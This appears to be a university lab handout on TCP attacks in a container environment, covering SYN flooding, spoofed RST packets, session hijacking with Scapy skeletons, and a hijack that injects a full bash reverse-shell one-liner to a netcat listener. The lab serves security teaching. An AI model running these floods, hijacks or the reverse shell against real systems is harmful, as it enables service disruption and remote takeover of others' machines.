Lab: TCP Attack

Learning Objectives

Students will analyze real TCP vulnerabilities and perform controlled attacks to understand how design and implementation mistakes lead to security failures. Through these case studies, they will learn common vulnerability patterns, why security must be built into protocols from the start, and how secure programming and testing practices help prevent similar issues in the future. By completing the lab, students will gain practical experience with:

This foundation prepares students to recognize, avoid, and defend against protocol‑level vulnerabilities in real systems.


Lab Environment

Setup files: Labsetup.zip

In this lab, you can use either the VM or the attacker container as the attack machine. The attacker container is configured differently for two reasons:

In this lab, we need to telnet from one container to another. We have already created an account called seed inside all the containers. Its password is dees. You can telnet to all containers into this account.


Ethical Use Notice

This lab is intended solely for educational use within a controlled environment. The techniques demonstrated must never be used on systems you do not own or lack explicit authorization to test.


Task 1: SYN Flooding Attack

1.1 Launching a SYN Flood Using Python

You will complete the following synflood.py script to generate spoofed TCP SYN packets. The script must randomize:

After running the attack for at least one minute, attempt to telnet into the victim server to observe whether the SYN backlog queue becomes full and blocks legitimate connections.

Key factors to investigate:

This task helps you understand how SYN flooding works and why system behavior, kernel mitigations, and packet rate all influence attack success.


1.2 Launching a SYN Flood Using C

Compile and run the provided synflood.c program. This version sends spoofed SYN packets much faster than Python due to lower overhead and direct packet construction.

Steps:

  1. Compile on the VM:
    gcc -o synflood synflood.c
    (Apple Silicon: gcc -static -o synflood synflood.c)
  2. Run from the attacker container:
    ./synflood 10.9.0.5 23

Compare the results with the Python attack and explain why the C implementation is more effective (e.g., speed, efficiency, fewer delays).


Enable SYN cookies on the victim server using:
sysctl -w net.ipv4.tcp_syncookies=1

Then rerun your attacks and compare:

This demonstrates how SYN cookies mitigate SYN flooding by avoiding reliance on the backlog queue.


Task 2: TCP RST Attack on Telnet Connections

You will terminate an active telnet session between two containers by crafting a spoofed TCP RST packet.

Steps:

  1. Use Wireshark to capture existing telnet session and extract:
    • Source IP
    • Destination IP
    • Source port
    • Destination port
    • Correct sequence number
  2. Use Scapy to craft a RST packet with these values.

Example skeleton:

ip = IP(src="@@@@", dst="@@@@")
tcp = TCP(sport=@@@@, dport=@@@@, flags="R", seq=@@@@)
send(ip/tcp, verbose=0)

Extra Credit:
Automate the attack using sniff‑and‑spoof logic so the script detects telnet packets and injects RST packets automatically.


Task 3: TCP Session Hijacking

The goal of this task is to hijack an existing TCP (telnet) session between two victim machines by injecting spoofed packets that appear to come from the legitimate client. By crafting a TCP packet with the correct sequence and acknowledgment numbers, you can cause the telnet server to execute commands supplied by the attacker.

What you need to do

Example Scapy skeleton

from scapy.all import *

ip = IP(src="@@@@", dst="@@@@")
tcp = TCP(sport=@@@@, dport=@@@@, flags="A", seq=@@@@, ack=@@@@)
data = "@@@@"   # malicious command
pkt = ip/tcp/data
send(pkt, verbose=0)

Extra Credit Automate the attack using a sniff‑and‑spoof approach:


Task 4: Creating a Reverse Shell Using TCP Session Hijacking

This task builds on Task 3 by using session hijacking to inject a reverse shell command into the victim’s telnet session. Instead of running a single command, the attacker establishes an interactive shell on the victim machine.

Goal

Use TCP session hijacking to execute a reverse shell command on the victim, causing it to connect back to the attacker and provide remote shell access.

What you need to do

  1. On the attacker machine, start a listener:
    nc -lnv 9090
    
  2. Craft a spoofed TCP packet (as in Task 3) that injects a reverse shell command into the telnet session.
    /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1
    
  3. Inject this command into the active telnet session using Scapy.

  4. When the command executes, the victim machine connects back to the attacker’s listener, providing an interactive shell.

Why this matters

This task illustrates how:


Grading